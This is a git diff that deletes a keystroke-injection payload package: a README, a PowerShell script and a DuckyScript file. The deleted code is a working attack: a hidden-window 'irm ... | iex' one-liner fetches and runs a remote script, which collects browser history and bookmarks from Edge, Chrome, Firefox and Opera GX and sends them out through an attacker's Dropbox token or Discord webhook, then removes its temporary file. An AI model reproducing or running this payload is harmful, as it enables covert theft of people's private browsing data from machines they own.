diff --git a/Payloads/Flip-BrowserData/README.md b/Payloads/Flip-BrowserData/README.md deleted file mode 100644 index a597f52..0000000 --- a/Payloads/Flip-BrowserData/README.md +++ /dev/null @@ -1,89 +0,0 @@ -![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) - - -
- Table of Contents -
    -
  1. Description
  2. -
  3. The Function
  4. -
  5. Contact
  6. -
  7. Acknowledgments
  8. -
-
- -# Get-BrowserData - -

- - Python - -
YouTube Tutorial -

- -## Description - -This payload can be used to retrieve the browsing history and bookmarks from Edge, Chrome, Opera GX, and Firefox (no bookmarks from firefox currently). - -They are then exfiled using either Discord or Dropbox. - -## The Function - -### [Get-BrowserData] - -* Plug in your device -* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory -* You no longer need to host your own version of this script -* $db is the variable that holds your DropBox token -* $dc is the variable that holds your Discord webhook -* Fill in either variable or both to set your exfil method - -SYNTAX: - -``` -powershell -w h -ep bypass $dc='';$db='';irm https://jakoby.lol/hgw | iex -``` - - -## Contact - -

📱 My Socials 📱

-
- - - - - - - -
- - C# - -
YouTube -
- - Python - -
Twitter -
- - Golang - -
Instagram -
- - Jsonnet - -
Discord -
-
- - - -

(back to top)

- - -## Acknowledgments - -* [Hak5](https://hak5.org/) -* [UberGuidoZ](https://github.com/UberGuidoZ) diff --git a/Payloads/Flip-BrowserData/browserData.ps1 b/Payloads/Flip-BrowserData/browserData.ps1 deleted file mode 100644 index 1d7941d..0000000 --- a/Payloads/Flip-BrowserData/browserData.ps1 +++ /dev/null @@ -1,102 +0,0 @@ -function Get-BrowserData { - - [CmdletBinding()] - param ( - [Parameter (Position=1,Mandatory = $True)] - [string]$Browser, - [Parameter (Position=1,Mandatory = $True)] - [string]$DataType - ) - - $Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' - - if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History"} - elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"} - elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History"} - elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) {$Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks"} - elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite"} - elseif ($Browser -eq 'opera' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\History"} - elseif ($Browser -eq 'opera' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\Bookmarks"} - - $Value = Get-Content -Path $Path | Select-String -AllMatches $regex |% {($_.Matches).Value} |Sort -Unique - $Value | ForEach-Object { - $Key = $_ - if ($Key -match $Search){ - New-Object -TypeName PSObject -Property @{ - User = $env:UserName - Browser = $Browser - DataType = $DataType - Data = $_ - } - } - } -} - -Get-BrowserData -Browser "edge" -DataType "history" >> $env:TMP\--BrowserData.txt - -Get-BrowserData -Browser "edge" -DataType "bookmarks" >> $env:TMP\--BrowserData.txt - -Get-BrowserData -Browser "chrome" -DataType "history" >> $env:TMP\--BrowserData.txt - -Get-BrowserData -Browser "chrome" -DataType "bookmarks" >> $env:TMP--BrowserData.txt - -Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\--BrowserData.txt - -Get-BrowserData -Browser "opera" -DataType "history" >> $env:TMP\--BrowserData.txt - -Get-BrowserData -Browser "opera" -DataType "bookmarks" >> $env:TMP\--BrowserData.txt - -# Upload output file to dropbox - -function DropBox-Upload { - -[CmdletBinding()] -param ( - -[Parameter (Mandatory = $True, ValueFromPipeline = $True)] -[Alias("f")] -[string]$SourceFilePath -) -$outputFile = Split-Path $SourceFilePath -leaf -$TargetFilePath="/$outputFile" -$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' -$authorization = "Bearer " + $db -$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" -$headers.Add("Authorization", $authorization) -$headers.Add("Dropbox-API-Arg", $arg) -$headers.Add("Content-Type", 'application/octet-stream') -Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers -} - -if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TMP\--BrowserData.txt} - -#------------------------------------------------------------------------------------------------------------------------------------ - -function Upload-Discord { - -[CmdletBinding()] -param ( - [parameter(Position=0,Mandatory=$False)] - [string]$file, - [parameter(Position=1,Mandatory=$False)] - [string]$text -) - -$hookurl = "$dc" - -$Body = @{ - 'username' = $env:username - 'content' = $text -} - -if (-not ([string]::IsNullOrEmpty($text))){ -Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; - -if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl} -} - -if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file $env:TMP\--BrowserData.txt} - - -############################################################################################################################################################ -RI $env:TEMP/--BrowserData.txt diff --git a/Payloads/Flip-BrowserData/browserData.txt b/Payloads/Flip-BrowserData/browserData.txt deleted file mode 100644 index 32e8912..0000000 --- a/Payloads/Flip-BrowserData/browserData.txt +++ /dev/null @@ -1,17 +0,0 @@ -REM Title: Browser-Data - -REM Author: I am Jakoby - -REM Description: This payload will grab your targets brosing history and bookmarks from IE, Chrome, Firefox, and Opera GX. - -REM Target: Windows 10, 11 - -GUI r -DELAY 500 -STRING powershell -w h -ep bypass $dc='';$db='';irm https://jakoby.lol/hgw | iex -ENTER - -REM Fill in either variable or both to set your exfil method. -REM $db is the variable that holds your DropBox token. -REM $dc is the variable that holds your Discord webhook. -REM If you are using DropBox, also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly.